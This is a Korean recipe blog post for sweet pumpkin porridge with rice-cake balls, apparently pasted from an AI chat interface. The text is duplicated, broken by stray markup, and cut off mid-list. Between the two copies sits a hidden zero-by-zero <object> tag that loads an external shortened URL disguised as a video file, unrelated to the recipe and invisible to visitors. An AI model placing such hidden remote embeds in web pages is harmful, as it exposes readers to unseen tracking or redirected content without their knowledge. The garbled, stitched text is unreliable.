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<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">단호박죽에 새알심까지? 든든한 아침 식사 완성!</h2><p data-sourcepos="3:1-3:65">단호박의 달콤함과 새알심의 쫄깃함이 어우러진 단호박죽은 든든한 아침 식사뿐만 아니라 간식으로도 손색없는 메뉴입니다.</p><p data-sourcepos="5:1-5:11"><strong>재료 준비하기</strong></p><ul data-sourcepos="7:1-13:0">
<li data-sourcepos="7:1-7:45"><strong>단호박:</strong> 1개 (껍질을 벗기고 씨를 제거한 후 먹기 좋게 썰어주세요.)</li>
<li data-sourcepos="8:1-8:35"><strong>찹쌀가루:</strong> 1컵 (새알심을 만들기 위해 준비합니다.)</li>
<li data-sourcepos="9:1-9:12"><strong>물:</strong> 적당량</li>
<li data-sourcepos="10:1-10:19"><strong>설탕:</strong> 취향에 따라 조절</li>
<li data-sourcepos="11:1-11:12"><strong>소금:</strong> 약간</li>
<li data-sourcepos="12:1-13:0"><strong>기타:</strong> 잣, 계피가루 등 (선택)</li>
</ul><p data-sourcepos="14:1-14:11"><strong>새알심 만들기</strong></p><ol data-sourcepos="16:1-18:0">
<li data-sourcepos="16:1-16:63">찹쌀가루에 물을 조금씩 넣어가며 반죽합니다. 귀 밑에 붙여보았을 때 떨어지지 않을 정도의 농도가 좋습니다.</li>
<li data-sourcepos="17:1-18:0">반죽을 동그랗게 빚어줍니다. 끓는 물에 넣어 익으면 체에 밭쳐 찬물에 헹궈줍니다.</li>
</ol><p data-sourcepos="19:1-19:12"><strong>단호박죽 끓이기</strong></p><ol data-sourcepos="21:1-26:0">
<li data-sourcepos="21:1-21:32">냄비에 썰어놓은 단호박과 물을 넣고 푹 익혀줍니다.</li>
<li data-sourcepos="22:1-22:52">익힌 단호박을 으깨어 줍니다. 블렌더를 이용하면 더욱 부드러운 죽을 만들 수 있습니다.</li>
<li data-sourcepos="23:1-23:29">으깬 단호박에 설탕과 소금으로 간을 맞춥니다.</li>
<li data-sourcepos="24:1-24:38">끓는 죽에 미리 만들어 놓은 새알심을 넣고 한소끔 끓여줍니다.</li>
<li data-sourcepos="25:1-26:0">마지막으로 잣이나 계피가루를 뿌려주면 더욱 풍성한 맛을 즐길 수 있습니다.</li>
</ol><p data-sourcepos="27:1-27:6"><strong>꿀팁</strong></p><ul data-sourcepos="29:1-32:0">
<li data-sourcepos="29:1-29:38">단호박은 전자레인지에 익히면 더욱 간편하게 조리할 수 있습니다.</li>
<li data-sourcepos="30:1-30:27">새알심 대신 찹쌀을 불려서 사용해도 좋습니다.</li>
<li data-sourcepos="31:1-32:0">단호박죽에 우유를 넣으면 더욱 부드럽고 고소한 맛을 낼 수 있습니다.</li>
</ul><p data-sourcepos="33:1-33:12"><strong>단호박죽의 효능</strong></p><p data-sourcepos="35:1-35:83">단호박은 베타카로틴이 풍부하여 눈 건강에 좋고, 비타민 A가 풍부하여 피부 미용에도 좋습니다. 또한 식이섬유가 풍부하여 변비 예방에도 도움을 줍니다.</p><p data-sourcepos="37:1-37:28"><strong>아침 식사 대용으로 단호박죽을 선택하는 이유</strong></p><ul data-sourcepos="39:1-43:0">
<li data-sourcepos="39:1-39:20">소화가 잘 되어 속이 편안합니다.</li>
<li data-sourcepos="40:1-40:27">다양한 영양소를 한 번에 섭취할 수 있습니다.</li>
<li data-sourcepos="41:1-41:24">따뜻하게 먹으면 몸을 따뜻하게 해줍니다.</li>
<li data-sourcepos="42:1-43:0">달콤한 맛으로 입맛 없는 아침에도 맛있게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="44:1-44:18"><strong>다양한 단호박 요리 레시피</strong></p><p data-sourcepos="46:1-46:79">단호박은 죽 외에도 다양한 요리에 활용할 수 있습니다. 단호박 샐러드, 단호박 치즈구이, 단호박 에그타르트 등 다양한 레시피를 검색해 보세요.</p><p data-sourcepos="48:1-48:7"><strong>마무리</strong></p><p data-sourcepos="50:1-50:79">단호박죽은 간단한 재료로도 맛있고 건강한 한 끼 식사를 만들 수 있는 메뉴입니다. 오늘 아침은 따뜻한 단호박죽으로 시작해 보는 건 어떨까요?</p><p data-sourcepos="52:1-52:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요!</strong></p><p data-sourcepos="54:1-54:48"><em>단호박죽 레시피를 더욱 자세히 알고 싶으시다면 관련 유튜브 영상을 참고해 보세요.</em></p><p data-sourcepos="56:1-56:32"><strong>단호박죽 새알심 아침식사 건강식 단호박요리</strong></p><hr data-sourcepos="58:1-58:3"><p data-sourcepos="59:1-59:33"><strong>이 외에도 궁금한 점이 있다면 언제든지 물어보세요.</strong></p><ul data-sourcepos="60:1-64:0">
<li data-sourcepos="60:1-64:0">예시:
<ul data-sourcepos="61:5-64:0">
<li data-sourcepos="61:5-61:27">단호박죽에 다른 재료를 넣어도 될까요?</li>
<li data-sourcepos="62:5-62:28">새알심 대신 다른 것을 넣으면 어떨까요?</li>
<li data-sourcepos="63:5-64:0">단호박죽을 더 맛있게 만드는 방법이 있을까요?</li>
</ul>
</li>
</ul><p data-sourcepos="65:1-65:21"><strong>친절하게 답변해 드리겠습니다.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cn2d" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c1476202065="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:30">단호박죽에 새알심까지? 든든한 아침 식사 완성!</h2><p data-sourcepos="3:1-3:65">단호박의 달콤함과 새알심의 쫄깃함이 어우러진 단호박죽은 든든한 아침 식사뿐만 아니라 간식으로도 손색없는 메뉴입니다.</p><p data-sourcepos="5:1-5:11"><strong>재료 준비하기</strong></p><ul data-sourcepos="7:1-13:0">
<li data-sourcepos="7:1-7:45"><strong>단호박:</strong> 1개 (껍질을 벗기고 씨를 제거한 후 먹기 좋게 썰어주세요.)</li>
<li data-sourcepos="8:1-8:35"><strong>찹쌀가루:</strong> 1컵 (새알심을 만들기 위해 준비합니다.)</li>
<li data-sourcepos="9:1-9:12"><strong>물:</strong> 적당량</li>
<li data-sourcepos="10:1-10:19"><strong>설탕:</strong> 취향에 따라 조절</li>
<li data-sourcepos="11:1-11:12"><strong>소금:</strong> 약간</li>
<li data-sourcepos="12:1-13:0"><strong>기타:</strong> 잣, 계피가루 등 (선택)</li>
</ul><p data-sourcepos="14:1-14:11"><strong>새알심 만들기</strong></p><ol data-sourcepos="16:1-18:0">
<li data-sourcepos="16:1-16:63">찹쌀가루에 물을 조금씩 넣어가며 반죽합니다. 귀 밑에 붙여보았을 때 떨어지지 않을 정도의 농도가 좋습니다.</li>
<li data-sourcepos="17:1-18:0">반죽을 동그랗게 빚어줍니다. 끓는 물에 넣어 익으면 체에 밭쳐 찬물에 헹궈줍니다.</li>
</ol><p data-sourcepos="19:1-19:12"><strong>단호박죽 끓이기</strong></p><ol data-sourcepos="21:1-26:0">
<li data-sourcepos="21:1-21:32">냄비에 썰어놓은 단호박과 물을 넣고 푹 익혀줍니다.</li>
<li data-sourcepos="22:1-22:52">익힌 단호박을 으깨어 줍니다. 블렌더를 이용하면 더욱 부드러운 죽을 만들 수 있습니다.</li>
<li data-sourcepos="23:1-23:29">으깬 단호박에 설탕과 소금으로 간을 맞춥니다.</li>
<li data-sourcepos="24:1-24:38">끓는 죽에 미리 만들어 놓은 새알심을 넣고 한소끔 끓여줍니다.</li>
<li data-sourcepos="25:1-26:0">마지막으로 잣이나 계피가루를 뿌려주면 더욱 풍성한 맛을 즐길 수 있습니다.</li>
</ol><p data-sourcepos="27:1-27:6"><strong>꿀팁</strong></p><ul data-sourcepos="29:1-32:0">
<li data-sourcepos="29:1-29:38">단호박은 전자레인지에 익히면 더욱 간편하게 조리할 수 있습니다.</li>
<li data-sourcepos="30:1-30:27">새알심 대신 찹쌀을 불려서 사용해도 좋습니다.</li>
<li data-sourcepos="31:1-32:0">단호박죽에 우유를 넣으면 더욱 부드럽고 고소한 맛을 낼 수 있습니다.</li>
</ul><p data-sourcepos="33:1-33:12"><strong>단호박죽의 효능</strong></p><p data-sourcepos="35:1-35:83">단호박은 베타카로틴이 풍부하여 눈 건강에 좋고, 비타민 A가 풍부하여 피부 미용에도 좋습니다. 또한 식이섬유가 풍부하여 변비 예방에도 도움을 줍니다.</p><p data-sourcepos="37:1-37:28"><strong>아침 식사 대용으로 단호박죽을 선택하는 이유</strong></p><ul data-sourcepos="39:1-43:0">
<li data-sourcepos="39:1-39:20">소화가 잘 되어 속이 편안합니다.</li>
<li data-sourcepos="40:1-40:27">다양한 영양소를 한 번에 섭취할 수 있습니다.</li>
<li data-sourcepos="41:1-41:24">따뜻하게 먹으면 몸을 따뜻하게 해줍니다.</li>
<li data-sourcepos="42:1-43:0">달콤한 맛으로 입맛 없는 아침에도 맛있게 즐길 수 있습니다.</li>
</ul><p data-sourcepos="44:1-44:18"><strong>다양한 단호박 요리 레시피</strong></p><p data-sourcepos="46:1-46:79">단호박은 죽 외에도 다양한 요리에 활용할 수 있습니다. 단호박 샐러드, 단호박 치즈구이, 단호박 에그타르트 등 다양한 레시피를 검색해 보세요.</p><p data-sourcepos="48:1-48:7"><strong>마무리</strong></p><p data-sourcepos="50:1-50:79">단호박죽은 간단한 재료로도 맛있고 건강한 한 끼 식사를 만들 수 있는 메뉴입니다. 오늘 아침은 따뜻한 단호박죽으로 시작해 보는 건 어떨까요?</p><p data-sourcepos="52:1-52:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요!</strong></p><p data-sourcepos="54:1-54:48"><em>단호박죽 레시피를 더욱 자세히 알고 싶으시다면 관련 유튜브 영상을 참고해 보세요.</em></p><p data-sourcepos="56:1-56:32"><strong>단호박죽 새알심 아침식사 건강식 단호박요리</strong></p><hr data-sourcepos="58:1-58:3"><p data-sourcepos="59:1-59:33"><strong>이 외에도 궁금한 점이 있다면 언제든지 물어보세요.</strong></p><ul data-sourcepos="60:1-64:0">
<li data-sourcepos="60:1-64:0">예시:
<ul data-sourcepos="61:5-64:0">
<li data-sourcepos="61:5-61:27">단호박죽에 다른 재료를 넣어도 될까요?</li>
<li data-sourcepos="62:5-62:28">새알심 대신 다른 것을 넣으면 어떨까요?</li>
<li data-sourcepos="63:5-64:0">단호박죽을 더 맛있게 만드는 방법이 있을까요?</li>
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